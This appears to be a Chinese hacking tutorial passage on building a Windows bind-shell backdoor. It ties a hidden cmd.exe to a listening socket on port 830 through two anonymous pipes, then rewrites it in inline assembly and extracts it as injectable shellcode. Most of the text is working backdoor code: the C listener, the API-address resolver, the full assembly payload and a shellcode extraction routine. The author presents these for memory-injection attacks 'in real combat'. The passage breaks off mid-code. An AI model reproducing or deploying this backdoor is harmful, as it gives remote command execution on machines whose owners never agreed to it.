1.6 編寫雙管道ShellCode
本文將介紹如何將CMD
綁定到雙向管道上,這是一種常用的黑客反彈技巧,可以讓用戶在命令行界面下與其他程序進(jìn)行交互,我們將從創(chuàng)建管道、啟動(dòng)進(jìn)程、傳輸數(shù)據(jù)等方面對(duì)這個(gè)功能進(jìn)行詳細(xì)講解。此外,本文還將通過使用匯編語言一步步來實(shí)現(xiàn)這個(gè)可被注入的ShellCode
后門,并以此提高代碼通用性。最終,我們將通過一個(gè)實(shí)際的漏洞攻擊場(chǎng)景來展示如何利用這個(gè)后門實(shí)現(xiàn)內(nèi)存注入攻擊。
1.6.1 什么是匿名管道
首先管道(Pipe)
是一種IPC機(jī)制,用于在同一臺(tái)計(jì)算機(jī)上進(jìn)行進(jìn)程間通信。它可以讓一個(gè)進(jìn)程將數(shù)據(jù)寫入到管道中,然后另一個(gè)進(jìn)程可以從管道中讀取這些數(shù)據(jù)。一般而言管道可以分為匿名管道(Anonymous Pipe)
或命名管道(Named Pipe)
兩種形式。
??匿名管道是一種臨時(shí)的管道,只能用于父子進(jìn)程之間或兄弟進(jìn)程之間的通信。它是一個(gè)雙向的、無名的、半雙工的通道,只能在創(chuàng)建它的進(jìn)程及其子進(jìn)程之間進(jìn)行通信。
??命名管道是一種具有名稱的管道,可以用于在不同的進(jìn)程之間進(jìn)行通信。命名管道可以在不同的進(jìn)程之間共享,并可以在多個(gè)進(jìn)程之間傳遞數(shù)據(jù)。它可以是單向的或雙向的,可以使用同步或異步方式進(jìn)行通信。
在實(shí)現(xiàn)中,管道通常是由操作系統(tǒng)提供的一段共享內(nèi)存區(qū)域。在管道創(chuàng)建時(shí),操作系統(tǒng)會(huì)為管道分配一段內(nèi)存區(qū)域,該內(nèi)存區(qū)域由創(chuàng)建管道的進(jìn)程和與其通信的進(jìn)程共享。當(dāng)進(jìn)程往管道中寫入數(shù)據(jù)時(shí),數(shù)據(jù)會(huì)被存儲(chǔ)在管道的內(nèi)存緩沖區(qū)中,然后等待另一個(gè)進(jìn)程從管道中讀取數(shù)據(jù)。當(dāng)另一個(gè)進(jìn)程讀取管道中的數(shù)據(jù)時(shí),數(shù)據(jù)將從內(nèi)存緩沖區(qū)中被讀取并且被刪除,從而保證數(shù)據(jù)傳輸?shù)恼_性和可靠性。
有了管道的支持,我們向其他進(jìn)程傳輸數(shù)據(jù)時(shí)就可像對(duì)普通文件讀寫那樣簡單。管道操作的標(biāo)識(shí)符是HANDLE
句柄,當(dāng)管道被正確創(chuàng)建時(shí)則,我們可以直接使用ReadFile、WriteFile
等文件讀寫函數(shù)來讀寫它,讀者無需了解網(wǎng)絡(luò)間進(jìn)程間通信的細(xì)節(jié)部分;
一般匿名管道的創(chuàng)建需要調(diào)用CreatePipe()
函數(shù)實(shí)現(xiàn),它可以創(chuàng)建一個(gè)管道,并返回兩個(gè)句柄,一個(gè)用于讀取管道數(shù)據(jù),另一個(gè)用于寫入管道數(shù)據(jù)。
CreatePipe函數(shù)的語法如下:
BOOL?CreatePipe(
??PHANDLE?hReadPipe,??????????????????????//?讀取管道數(shù)據(jù)的句柄指針
??PHANDLE?hWritePipe,?????????????????????//?寫入管道數(shù)據(jù)的句柄指針
??LPSECURITY_ATTRIBUTES?lpPipeAttributes,?//?指向安全屬性結(jié)構(gòu)的指針
??DWORD?nSize?????????????????????????????//?管道緩沖區(qū)大小,若為0則使用默認(rèn)大小
);
其中,hReadPipe
和hWritePipe
是PHANDLE
類型的指針,用于接收讀取和寫入管道的句柄。lpPipeAttributes
是指向SECURITY_ATTRIBUTES
結(jié)構(gòu)的指針,用于指定管道的安全屬性,通常設(shè)置為NULL
。nSize
是管道緩沖區(qū)的大小,若為0則使用默認(rèn)大小。在使用CreatePipe
函數(shù)創(chuàng)建匿名管道后,讀者可以使用WriteFile
函數(shù)往管道中寫入數(shù)據(jù),也可以使用ReadFile
函數(shù)從管道中讀取數(shù)據(jù)。讀取和寫入管道的操作需要使用相應(yīng)的句柄。
小提示:匿名管道只能在具有親緣關(guān)系的進(jìn)程之間使用,即父子進(jìn)程或兄弟進(jìn)程,通過設(shè)置
CreateProcess
函數(shù)中的bInheritHandles
屬性為True
則可實(shí)現(xiàn)父子進(jìn)程,如果需要在不同的進(jìn)程之間使用管道進(jìn)行通信,則應(yīng)該使用命名管道。
接著來簡單介紹一下CreateProcess
函數(shù),該函數(shù)用于創(chuàng)建一個(gè)新的進(jìn)程,返回值非0表示成功,為0表示失敗。為了讓2個(gè)進(jìn)程產(chǎn)生父子及繼承關(guān)系,參數(shù)bInheritHandles
應(yīng)設(shè)置為True,該函數(shù)的原型如下所示;
BOOL?CreateProcess(
??LPCWSTR???????????????lpApplicationName,??//?可執(zhí)行文件名或者命令行
??LPWSTR????????????????lpCommandLine,??????//?命令行參數(shù)
??LPSECURITY_ATTRIBUTES?lpProcessAttributes,//?進(jìn)程安全屬性
??LPSECURITY_ATTRIBUTES?lpThreadAttributes,?//?線程安全屬性
??BOOL??????????????????bInheritHandles,????//?是否繼承父進(jìn)程的句柄
??DWORD?????????????????dwCreationFlags,????//?進(jìn)程創(chuàng)建標(biāo)志
??LPVOID????????????????lpEnvironment,??????//?新進(jìn)程的環(huán)境塊指針
??LPCWSTR???????????????lpCurrentDirectory,?//?新進(jìn)程的工作目錄
??LPSTARTUPINFO?????????lpStartupInfo,??????//?STARTUPINFO?結(jié)構(gòu)體指針
??LPPROCESS_INFORMATION?lpProcessInformation//?PROCESS_INFORMATION?結(jié)構(gòu)體指針
);
實(shí)現(xiàn)匿名管道通信,我們還需要了解最后一個(gè)函數(shù)PeekNamedPipe
,該函數(shù)用于檢查命名管道中的是否有數(shù)據(jù),函數(shù)返回值為BOOL
類型,如果函數(shù)調(diào)用成功,則返回TRUE
,否則返回FALSE
該函數(shù)的原型定義如下所示;
BOOL?PeekNamedPipe(
??HANDLE??hNamedPipe,????????//?命名管道的句柄
??LPVOID??lpBuffer,??????????//?存儲(chǔ)讀取數(shù)據(jù)的緩沖區(qū)
??DWORD???nBufferSize,???????//?緩沖區(qū)的大小
??LPDWORD?lpBytesRead,???????//?實(shí)際讀取的字節(jié)數(shù)
??LPDWORD?lpTotalBytesAvail,?//?管道中可用的字節(jié)數(shù)
??LPDWORD?lpBytesLeftThisMessage?//?下一條消息剩余的字節(jié)數(shù)
);
在調(diào)用成功的情況下,lpBytesRead
參數(shù)返回實(shí)際讀取的字節(jié)數(shù),lpTotalBytesAvail
參數(shù)返回管道中可用的字節(jié)數(shù),lpBytesLeftThisMessage
參數(shù)返回下一條消息剩余的字節(jié)數(shù)。如果命名管道為空,則函數(shù)會(huì)阻塞等待數(shù)據(jù)到來,當(dāng)接收到數(shù)據(jù)時(shí)則讀者即可通過調(diào)用ReadFile
在管道中讀取數(shù)據(jù),或調(diào)用WriteFile
來向管道寫入數(shù)據(jù),至此關(guān)鍵的API函數(shù)已經(jīng)介紹完了;
1.6.2 C語言實(shí)現(xiàn)雙管道后門
其實(shí)匿名管道反彈CMD的工作原理可以理解為,首先攻擊機(jī)發(fā)命令并通過Socket
傳給目標(biāo)機(jī)的父進(jìn)程,目標(biāo)機(jī)的父進(jìn)程又通過一個(gè)匿名管道傳給子進(jìn)程,這里的子進(jìn)程是cmd.exe
,CMD執(zhí)行命令后,把結(jié)果通過另一個(gè)匿名管道返給父進(jìn)程,父進(jìn)程最后再通過Socket
返回給攻擊機(jī),以此則實(shí)現(xiàn)了反彈Shell的目的;
接著我們就來實(shí)現(xiàn)這個(gè)雙向匿名管道功能,在實(shí)現(xiàn)管道之前需要先建立套接字,首先使用WSAStartup
函數(shù)初始化Winsock
庫,并使用socket
函數(shù)創(chuàng)建一個(gè)套接字。然后,使用bind
函數(shù)將套接字綁定到特定的IP地址和端口號(hào)。listen
函數(shù)將套接字設(shè)置為偵聽傳入的連接,而accept
函數(shù)會(huì)一直阻塞直到建立客戶端連接。一旦連接建立,代碼會(huì)返回客戶端的套接字描述符clientFD。
WSADATA?ws;
SOCKET?listenFD;
char?Buff[1024];
int?ret;
//?初始化網(wǎng)絡(luò)通信庫
WSAStartup(MAKEWORD(2,?2),?&ws);
//?建立Socket套接字
listenFD?=?socket(AF_INET,?SOCK_STREAM,?IPPROTO_TCP);
//?配置通信協(xié)議屬性,并監(jiān)聽本機(jī)830端口
struct?sockaddr_in?server;
server.sin_family?=?AF_INET;
server.sin_port?=?htons(830);
server.sin_addr.s_addr?=?ADDR_ANY;
//?開始綁定套接字
ret?=?bind(listenFD,?(sockaddr?*)&server,?sizeof(server));
//?偵聽套接字鏈接
ret?=?listen(listenFD,?2);
//?接受一個(gè)連接
int?iAddrSize?=?sizeof(server);
SOCKET?clientFD?=?accept(listenFD,?(sockaddr?*)&server,?&iAddrSize);
有了套接字功能,則第二步需要?jiǎng)?chuàng)建兩個(gè)PIPE
管道,其中第一個(gè)管道用于輸出執(zhí)行結(jié)果,第二個(gè)管道用于輸入命令,把CMD子進(jìn)程輸出句柄用管道1的寫句柄替換,此時(shí)主進(jìn)程就可以通過讀管道1的讀句柄來獲得輸出;另外,我們還要把CMD子進(jìn)程的輸入句柄用2的讀句柄替換,此時(shí)主進(jìn)程就可以通過寫管道2的寫句柄來輸入命令。
其通信過程如下:
??(遠(yuǎn)程主機(jī))←輸入←管道1輸出←管道1輸入←輸出(CMD子進(jìn)程)
??(遠(yuǎn)程主機(jī))→輸出→管道2輸入→管道2輸出→輸入(CMD子進(jìn)程)
SECURITY_ATTRIBUTES?pipeattr1,?pipeattr2;
HANDLE?hReadPipe1,?hWritePipe1,?hReadPipe2,?hWritePipe2;
????
//?建立匿名管道1
pipeattr1.nLength?=?12;
pipeattr1.lpSecurityDescriptor?=?0;
pipeattr1.bInheritHandle?=?true;
CreatePipe(&hReadPipe1,?&hWritePipe1,?&pipeattr1,?0);
????
//?建立匿名管道2
pipeattr2.nLength?=?12;
pipeattr2.lpSecurityDescriptor?=?0;
pipeattr2.bInheritHandle?=?true;
CreatePipe(&hReadPipe2,?&hWritePipe2,?&pipeattr2,?0);
為了得到上述綁定效果,我們?cè)谠O(shè)置CMD子進(jìn)程STARTUPINFO
啟動(dòng)參數(shù)時(shí)就應(yīng)該做好綁定工作,通過填入如下所示的變量值,并調(diào)用CreateProcess
實(shí)現(xiàn)對(duì)進(jìn)程的綁定,通過替換進(jìn)程的輸出句柄為管道1的寫句柄,輸入句柄為管道2的讀句柄。最后再開啟CMD命令就實(shí)現(xiàn)了綁定功能,代碼如下所示;
//?填充所需參數(shù)實(shí)現(xiàn)子進(jìn)程與主進(jìn)程通信
STARTUPINFO?si;
ZeroMemory(&si,?sizeof(si));
si.dwFlags?=?STARTF_USESHOWWINDOW?|?STARTF_USESTDHANDLES;
si.wShowWindow?=?SW_HIDE;
si.hStdInput?=?hReadPipe2;
si.hStdOutput?=?si.hStdError?=?hWritePipe1;
????
char?cmdLine[]?=?"cmd.exe";
PROCESS_INFORMATION?ProcessInformation;
//?建立進(jìn)程綁定參數(shù)
ret?=?CreateProcess(NULL,?cmdLine,?NULL,?NULL,?1,?0,?NULL,?NULL,?&si,?&ProcessInformation);
當(dāng)CMD子進(jìn)程啟動(dòng)后,則下一步則是和遠(yuǎn)程攻擊機(jī)之間建立通信,如下代碼通過使用PeekNamedPipe
和recv
函數(shù)不斷檢查從遠(yuǎn)程客戶端或CMD進(jìn)程接收到的數(shù)據(jù)。如果從CMD進(jìn)程中有可讀數(shù)據(jù),則使用ReadFile
函數(shù)讀取該數(shù)據(jù)并使用send
函數(shù)發(fā)送回遠(yuǎn)程客戶端。如果沒有數(shù)據(jù)可讀,則程序接收從遠(yuǎn)程客戶端發(fā)來的命令,并將命令寫入管道2,即傳給CMD進(jìn)程。這個(gè)過程不斷循環(huán)執(zhí)行,直到出現(xiàn)錯(cuò)誤或收到退出命令。
unsigned?long?lBytesRead;
while?(1)
{
????//?檢查管道1?即CMD進(jìn)程是否有輸出
????ret?=?PeekNamedPipe(hReadPipe1,?Buff,?1024,?&lBytesRead,?0,?0);
????if?(lBytesRead)
????{
????????//管道1有輸出?讀出結(jié)果發(fā)給遠(yuǎn)程客戶機(jī)
????????ret?=?ReadFile(hReadPipe1,?Buff,?lBytesRead,?&lBytesRead,?0);
????????if?(!ret)
????????{
????????????break;
????????}
????????ret?=?send(clientFD,?Buff,?lBytesRead,?0);
????????if?(ret?<=?0)
????????{
????????????break;
????????}
????}
????else
????{
????????//?否則接收遠(yuǎn)程客戶機(jī)的命令
????????lBytesRead?=?recv(clientFD,?Buff,?1024,?0);
????????if?(lBytesRead?<=?0)
????????{
????????????break;
????????}
????????//?將命令寫入管道2?即傳給cmd進(jìn)程
????????ret?=?WriteFile(hWritePipe2,?Buff,?lBytesRead,?&lBytesRead,?0);
????????if?(!ret)
????????{
????????????break;
????????}
????}
}
如上代碼所示就是完整的雙向匿名管道的實(shí)現(xiàn)原理,我們通過整合并編譯,打開編譯后的可執(zhí)行程序,此時(shí)讀者可使用netcat
工具執(zhí)行nc 127.0.0.1 830
則可連接到該后門內(nèi)部,并以此獲得一個(gè)Shell后門,此時(shí)讀者可執(zhí)行任意命令,輸出效果如下圖所示;

1.6.3 匯編實(shí)現(xiàn)并提取ShellCode
在之前文章中我們介紹了如何使用C語言創(chuàng)建一個(gè)雙管道通信后門,而對(duì)于在實(shí)戰(zhàn)中,往往需要直接注入后門到內(nèi)存,此時(shí)將后門轉(zhuǎn)換為ShellCode
是一個(gè)不錯(cuò)的選擇,首先為了保證文章的篇幅不宜過長,此處暫且不考慮生成匯編代碼的通用性,首先我們需要得到在當(dāng)前系統(tǒng)中所需要使用的函數(shù)的動(dòng)態(tài)地址,至于如何提取這些動(dòng)態(tài)地址,在之前的文章通用ShellCode
提取中有過詳細(xì)的介紹,此處我們就直接給出實(shí)現(xiàn)代碼;
typedef?void(*MyProcess)(LPSTR);
int?main(int?argc,?char?*argv[])
{
????HINSTANCE?KernelHandle;
????HINSTANCE?WS2Handle;
????MyProcess?ProcAddr;
????KernelHandle?=?LoadLibrary(L"kernel32");
????printf("kernel32?address?=?0x%x\n",?KernelHandle);
????WS2Handle?=?LoadLibrary(L"ws2_32");
????printf("ws2_32?address?=?0x%x\n\n",?WS2Handle);
????CHAR?*FuncList[13]?=
????{
????????"CreatePipe",?"CreateProcessA",?"PeekNamedPipe",?"WriteFile",?"ReadFile",?"ExitProcess",
????????"WSAStartup",?"socket",?"bind",?"listen",?"accept",?"send",?"recv"
????};
????for?(size_t?i?=?0;?i?<?13;?i++)
????{
????????if?(i?<?6)
????????{
????????????//?輸出kerlen32中的參數(shù)
????????????ProcAddr?=?(MyProcess)GetProcAddress(KernelHandle,?FuncList[i]);
????????????printf("%s?=?0x%x?\n",?FuncList[i],?ProcAddr);
????????}
????????else
????????{
????????????//?輸出ws2中的參數(shù)
????????????ProcAddr?=?(MyProcess)GetProcAddress(WS2Handle,?FuncList[i]);
????????????printf("%s?=?0x%x?\n",?FuncList[i],?ProcAddr);
????????}
????}
????system("pause");
????return?0;
}
當(dāng)讀者運(yùn)行這段程序時(shí),則會(huì)輸出kernel32.dll
及ws2_32.dll
的模塊基址,同時(shí)還會(huì)輸出"CreatePipe", "CreateProcessA", "PeekNamedPipe", "WriteFile", "ReadFile", "ExitProcess","WSAStartup", "socket", "bind", "listen", "accept", "send", "recv"
這些我們所需要的函數(shù)的內(nèi)存地址,輸出效果如下圖所示;

接著我們需要將這些函數(shù)內(nèi)存地址依次填充到匯編代碼中,將其動(dòng)態(tài)壓入堆棧保存,如下是筆者填充過的匯編代碼片段,此處的十六進(jìn)制數(shù)讀者電腦中的與筆者一定不一致,請(qǐng)讀者自行替換即可;
mov?eax,0x763e2d70
mov?[ebp+4],??eax;???CreatePipe
mov?eax,0x763e2d90
mov??[ebp+8],??eax;??CreateProcessA
mov?eax,0x763e4140
mov??[ebp+12],?eax;??PeekNamedPipe
mov?eax,0x763d35b0
mov??[ebp+16],?eax;??WriteFile
mov?eax,0x763d34c0
mov??[ebp+20],?eax;??ReadFile
mov?eax,0x763d4100
mov??[ebp+24],?eax;??ExitProcess
mov?eax,0x76c29cc0
mov??[ebp+28],?eax;??WSAStartup
mov?eax,0x76c2c990
mov??[ebp+32],?eax;??socket
mov?eax,0x76c2d890
mov??[ebp+36],?eax;??bind
mov?eax,0x76c35d90
mov??[ebp+40],?eax;??listen
mov?eax,0x76c369c0
mov??[ebp+44],?eax;??accept
mov?eax,0x76c358a0
mov??[ebp+48],?eax;??send
mov?eax,0x76c323a0
mov??[ebp+52],?eax;??recv
小提示:STDcall是一種調(diào)用約定,用于指定函數(shù)參數(shù)的傳遞方式、函數(shù)返回值的處理方式以及函數(shù)調(diào)用后堆棧的清理方式,它在Windows平臺(tái)上廣泛使用。該調(diào)用規(guī)定,函數(shù)的參數(shù)從右到左依次入棧,函數(shù)返回值存儲(chǔ)在EAX寄存器中。在函數(shù)調(diào)用后,由調(diào)用方負(fù)責(zé)清理堆棧上的參數(shù),因此被調(diào)用函數(shù)不需要執(zhí)行額外的堆棧清理操作。
在源程序的第一句指令,是執(zhí)行WSAStartup(0x202, &ws)
。我們按照32位
下函數(shù)的STDCALL
調(diào)用規(guī)范,首先將參數(shù)從右至左依次壓入棧中,其中該函數(shù)的第二個(gè)參數(shù)&ws
表示一個(gè)地址,因?yàn)閃S地址已經(jīng)不再使用了,所以此處我們就隨意壓入一個(gè)地址即可(比如ESP的值)
,第一個(gè)參數(shù)時(shí)0x202
則此時(shí)我們直接使用push 0x202
壓入,至此函數(shù)的參數(shù)已經(jīng)填充完畢了,接下來則是調(diào)用該函數(shù),因WSAStartup
的地址保存在[ebp+28]
中,所以我們通過call [ebp+28]
就可以調(diào)用到該地址啦。
push?esp
push?0x202
call?[ebp?+?28]??????//?WSAStartup地址
接著是原程序中的第二個(gè)函數(shù)Socket(2,1,6)
讀者需要先將6、1、2
依次入棧,最后再call socket
的地址,也就是調(diào)用[ebp + 32]
即可實(shí)現(xiàn)調(diào)用。
;?socket(2,1,6)
push?6
push?1
push?2
call?[ebp?+?32]
mov?ebx,?eax???????//?將套接字保存到EBX中
讀者是否會(huì)有疑問,此處為什么會(huì)傳遞這些參數(shù)呢,讀者可在源程序的開頭位置設(shè)置斷點(diǎn),并打開反匯編窗口,觀察建立Socket
的參數(shù)傳遞情況,即可一目了然;

接著我們繼續(xù)提取第三個(gè)關(guān)鍵函數(shù)Bind()
綁定函數(shù),相比于前兩個(gè)函數(shù)而言,綁定函數(shù)要顯得更加復(fù)雜一些,原因是該函數(shù)需要填充一個(gè)sockaddr_in
的結(jié)構(gòu)體變量,所以在填充參數(shù)之前還需要具體分析;
struct?sockaddr_in?server;
server.sin_family?=?AF_INET;
server.sin_port?=?htons(830);
server.sin_addr.s_addr=ADDR_ANY;
ret=bind(listenFD,(sockaddr?*)&server,sizeof(server));
我們還是借助VS工具,在bind()
函數(shù)上下斷點(diǎn),并打開反匯編窗口(Ctrl+Alt+D),觀察編譯器是如何編譯處理的,如下圖所示;

高級(jí)語言執(zhí)行bind
時(shí),首先是將0x10
入棧,說明sizeof(server)
的參數(shù)傳遞其實(shí)就是0x10
第二個(gè)參數(shù)&server
是sockaddr_in
結(jié)構(gòu)的地址。在sockaddr_in
結(jié)構(gòu)中,包括了綁定的協(xié)議、IP、端口號(hào)
等值。和在堆棧中構(gòu)造字符串一樣,我們也在棧中構(gòu)造出sockaddr_in
的結(jié)構(gòu),那么esp
就是sockaddr_in
結(jié)構(gòu)的地址了。
為了能夠更好的提取到第二個(gè)參數(shù)的壓入信息,我們需要將調(diào)試器運(yùn)行到listen(listenFD, 2)
處,并打開內(nèi)存窗口,輸出&server
跳轉(zhuǎn)到當(dāng)前結(jié)構(gòu)體填充位置處,讀者可看到如下內(nèi)存數(shù)據(jù);

從上圖中可看出,如下執(zhí)行后其實(shí)就是得到了02 00 03 3E 00 00 00 00
,知道了確切要賦的值,我們就依葫蘆畫瓢,開始?jí)簵?code>push 0x0000,push 0x0000,push 0x3E030002此時(shí)我們就在堆棧中構(gòu)造出了sockaddr_in
結(jié)構(gòu)的值,而且esp
就正好是結(jié)構(gòu)的地址。我們把它保存給esi
作為第二個(gè)參數(shù)壓入堆棧。
好了,剩下就簡單了,最后一個(gè)參數(shù)是socket
。上面執(zhí)行了socket()
后,我們把socket
的值保存在了ebx
中,所以將ebx
壓入就可以了。最后call
調(diào)用函數(shù)。bind
函數(shù)地址存放在[ebp + 36]
中,將這段匯編代碼結(jié)合起來就像如下所示。
;?bind(listenFD,(sockaddr?*)&server,sizeof(server));
xor?edi,edi????????????????????//?先構(gòu)造server
push?edi
push?edi
mov?eax,0x3E030002
;?port?830?AF_INET
push?eax
mov?esi,?esp???????????????????//?把server地址賦給esi
push?0x10???????????????????????;?length
push?esi????????????????????????;?&server
push?ebx????????????????????????;?socket
call?[ebp?+?36]?????????????????;?bind
好了根據(jù)上述方法,讀者需要依次跟蹤代碼執(zhí)行流程,并嫁給你所需要的參數(shù)依次提取出來,最終將這些參數(shù)組合在一起,即可得到如下方所示的一段匯編代碼片段;
int?main(int?argc,?char?*argv[])
{
????LoadLibrary("kernel32.dll");
????LoadLibrary("ws2_32.dll");
????__asm
????{
????????????push?ebp;
????????????sub??esp,?80;
????????????mov??ebp,?esp;
????????//?替換所需函數(shù)地址
????????????mov?eax,?0x763e2d70
????????????mov[ebp?+?4],?eax;???CreatePipe
????????????mov?eax,?0x763e2d90
????????????mov[ebp?+?8],?eax;??CreateProcessA
????????????mov?eax,?0x763e4140
????????????mov[ebp?+?12],?eax;??PeekNamedPipe
????????????mov?eax,?0x763d35b0
????????????mov[ebp?+?16],?eax;??WriteFile
????????????mov?eax,?0x763d34c0
????????????mov[ebp?+?20],?eax;??ReadFile
????????????mov?eax,?0x763d4100
????????????mov[ebp?+?24],?eax;??ExitProcess
????????????mov?eax,?0x76c29cc0
????????????mov[ebp?+?28],?eax;??WSAStartup
????????????mov?eax,?0x76c2c990
????????????mov[ebp?+?32],?eax;??socket
????????????mov?eax,?0x76c2d890
????????????mov[ebp?+?36],?eax;??bind
????????????mov?eax,?0x76c35d90
????????????mov[ebp?+?40],?eax;??listen
????????????mov?eax,?0x76c369c0
????????????mov[ebp?+?44],?eax;??accept
????????????mov?eax,?0x76c358a0
????????????mov[ebp?+?48],?eax;??send
????????????mov?eax,?0x76c323a0
????????????mov[ebp?+?52],?eax;??recv
????????????mov?eax,?0x0
????????????mov[ebp?+?56],?0
????????????mov[ebp?+?60],?0
????????????mov[ebp?+?64],?0
????????????mov[ebp?+?68],?0
????????????mov[ebp?+?72],?0
????????LWSAStartup:
????????;?WSAStartup(0x202,?DATA)
????????????sub?esp,?400
????????????push?esp
????????????push?0x202
????????????call[ebp?+?28]
????????socket:
????????????;?socket(2,?1,?6)
????????????????push?6
????????????????push?1
????????????????push?2
????????????????call[ebp?+?32]
????????????????mov?ebx,?eax;?save?socket?to?ebx
????????????LBind?:
????????????;?bind(listenFD,?(sockaddr?*)&server,?sizeof(server));
????????????????xor?edi,?edi
????????????????push?edi
????????????????push?edi
????????????????mov?eax,?0x3E030002
????????????????push??eax;?port?830??AF_INET
????????????????mov?esi,?esp
????????????????push??0x10;?length
????????????????push?esi;?&server
????????????????push?ebx;?socket
????????????????call[ebp?+?36];?bind
????????????LListen?:
????????????;?listen(listenFD,?2)
????????????????inc?edi
????????????????inc?edi
????????????????push?edi;?2
????????????????push?ebx;?socket
????????????????call[ebp?+?40];?listen
????????????LAccept?:
????????????;?accept(listenFD,?(sockaddr?*)&server,?&iAddrSize)
????????????????push?0x10
????????????????lea??edi,?[esp]
????????????????push?edi
????????????????push?esi;?&server
????????????????push?ebx;?socket
????????????????call[ebp?+?44];?accept
????????????????mov?ebx,?eax;?save?newsocket?to?ebx
????????????Createpipe1?:
????????????;?CreatePipe(&hReadPipe1,?&hWritePipe1,?&pipeattr1,?0);
????????????????xor?edi,?edi
????????????????inc?edi
????????????????push?edi
????????????????xor?edi,?edi
????????????????push?edi
????????????????push?0xc;?pipeattr
????????????????mov?esi,?esp
????????????????push?edi;?0
????????????????push?esi;?pipeattr1
????????????????lea?eax,?[ebp?+?60];?&hWritePipe1
????????????????push?eax
????????????????lea?eax,?[ebp?+?56];?&hReadPipe1
????????????????push?eax
????????????????call[ebp?+?4]
????????????CreatePipe2:
????????????????;?CreatePipe(&hReadPipe2,?&hWritePipe2,?&pipeattr2,?0);
????????????????????push?edi;?0
????????????????????push?esi;?pipeattr2
????????????????????lea?eax,?[ebp?+?68];?hWritePipe2
????????????????????push?eax
????????????????????lea?eax,?[ebp?+?64];?hReadPipe2
????????????????????push?eax
????????????????????call[ebp?+?4]
????????????????CreateProcess:
????????????????????;?ZeroMemory?TARTUPINFO,?10h??PROCESS_INFORMATION??44h
????????????????????????sub?esp,?0x80
????????????????????????lea?edi,?[esp]
????????????????????????xor?eax,?eax
????????????????????????push??0x80
????????????????????????pop?ecx
????????????????????????rep?stosd
????????????????????????;?si.dwFlags
????????????????????????lea?edi,?[esp]
????????????????????????mov?eax,?0x0101
????????????????????????mov[edi?+?2ch],?eax;
????????????????????;?si.hStdInput?=?hReadPipe2?ebp?+?64
????????????????????????mov?eax,?[ebp?+?64]
????????????????????????mov[edi?+?38h],?eax
????????????????????????;?si.hStdOutput?si.hStdError?=?hWritePipe1?ebp?+?60
????????????????????????mov?eax,?[ebp?+?60]
????????????????????????mov[edi?+?3ch],?eax
????????????????????????mov?eax,?[ebp?+?60]
????????????????????????mov[edi?+?40h],?eax
????????????????????????;?cmd.exe
????????????????????????mov?eax,?0x00646d63
????????????????????????mov[edi?+?64h],?eax;?cmd
????????????????????????;?CreateProcess(NULL,?cmdLine,?NULL,?NULL,?1,?0,?NULL,?NULL,?&si,?&ProcessInformation)
????????????????????????lea?eax,?[esp?+?44h]
????????????????????????push?eax;?&pi
????????????????????????push?edi;?&si
????????????????????????push?ecx;?0
????????????????????????push?ecx;?0
????????????????????????push?ecx;?0
????????????????????????inc??ecx
????????????????????????push?ecx;?1
????????????????????????dec??ecx
????????????????????????push?ecx;?0
????????????????????????push?ecx;?0
????????????????????????lea?eax,?[edi?+?64h];?"cmd"
????????????????????????push?eax
????????????????????????push?ecx;?0
????????????????????????call[ebp?+?8]
????????????????????loop1:
????????????????????????;?while1
????????????????????????????;?PeekNamedPipe(hReadPipe1,?Buff,?1024,?&lBytesRead,?0,?0);
????????????????????????????sub?esp,?400h;
????????????????????????????mov?esi,?esp;?esi?=?Buff
????????????????????????????xor?ecx,?ecx
????????????????????????????push?ecx;?0
????????????????????????????push?ecx;?0
????????????????????????????lea?edi,?[ebp?+?72];?&lBytesRead
????????????????????????????push?edi
????????????????????????????mov?eax,?400h
????????????????????????????push?eax;?1024
????????????????????????????push?esi;?Buff
????????????????????????????mov?eax,?[ebp?+?56]
????????????????????????????push?eax;?hReadPipe1
????????????????????????????call[ebp?+?12]
????????????????????????????mov?eax,?[edi]
????????????????????????????test?eax,?eax
????????????????????????????jz?recv_command
????????????????????????send_result?:
????????????????????????;?ReadFile(hReadPipe1,?Buff,?lBytesRead,?&lBytesRead,?0)
????????????????????????????xor?ecx,?ecx
????????????????????????????push?ecx;?0
????????????????????????????push?edi;?&lBytesRead
????????????????????????????push[edi];?hReadPipe1
????????????????????????????push?esi;?Buff
????????????????????????????push[ebp?+?56];?hReadPipe1
????????????????????????????call[ebp?+?20]
????????????????????????????;?send(clientFD,?Buff,?lBytesRead,?0)
????????????????????????????xor?ecx,?ecx
????????????????????????????push?ecx;?0
????????????????????????????push[edi];?lBytesRead
????????????????????????????push?esi;?Buff
????????????????????????????push?ebx;?clientFD
????????????????????????????call[ebp?+?48]
????????????????????????????jmp?loop1
????????????????????????recv_command?:
????????????????????????;?recv(clientFD,?Buff,?1024,?0)
????????????????????????????xor?ecx,?ecx
????????????????????????????push?ecx
????????????????????????????mov?eax,?400h
????????????????????????????push?eax
????????????????????????????push?esi
????????????????????????????push?ebx
????????????????????????????call[ebp?+?52]
????????????????????????????//lea?ecx,[edi]
????????????????????????????mov[edi],?eax
????????????????????????????;?WriteFile(hWritePipe2,?Buff,?lBytesRead,?&lBytesRead,?0)
????????????????????????????xor?ecx,?ecx
????????????????????????????push?ecx
????????????????????????????push?edi
????????????????????????????push[edi]
????????????????????????????push?esi
????????????????????????????push[ebp?+?68]
????????????????????????????call[ebp?+?16]
????????????????????????????jmp?loop1
????????????????????????end?:
????}
????system("pause");
????return?0;
}
接下來則是提取特征碼,提取時(shí)讀者可以使用如下程序?qū)崿F(xiàn),將上方匯編代碼放入到ShellCodeStart-ShellCodeEnd
區(qū)域內(nèi),運(yùn)行后則可提取出特定特征碼參數(shù);
int?main(int?argc,?char*?argv[])
{
????DWORD?Start,?End,?Len;
????goto?GetShellCode;
????__asm
????{
????ShellCodeStart:
????????????xor?eax,?eax
????????????xor?ebx,?ebx
????????????xor?ecx,?ecx
????????????xor?edx,?edx
????????????int?3
????ShellCodeEnd:
????}
GetShellCode:
????__asm
????{
????????mov?Start,?offset?ShellCodeStart
????????mov?End,?offset?ShellCodeEnd
????}
????Len?=?End?-?Start;
????unsigned?char*?newBuffer?=?new?unsigned?char[Len?+?1024];
????memset(newBuffer,?0,?Len?+?1024);
????memcpy(newBuffer,?(unsigned?char*)Start,?Len);
????for?(size_t?i?=?0;?i?<?Len;?i++)
????{
????????printf("\\x%x",?newBuffer[i]);
????}
????//?直接寫出二進(jìn)制
????/*
????FILE*?fp_bin?=?fopen("d://shellcode.bin",?"wb+");
????fwrite(newBuffer,?Len,?1,?fp_bin);
????_fcloseall();
????//?寫出Unicode格式ShellCode
????FILE?*fp_uncode?=?fopen("c://un_ShellCode.txt",?"wb+");
????for?(int?x?=?0;?x?<?Len;?x++)
????{
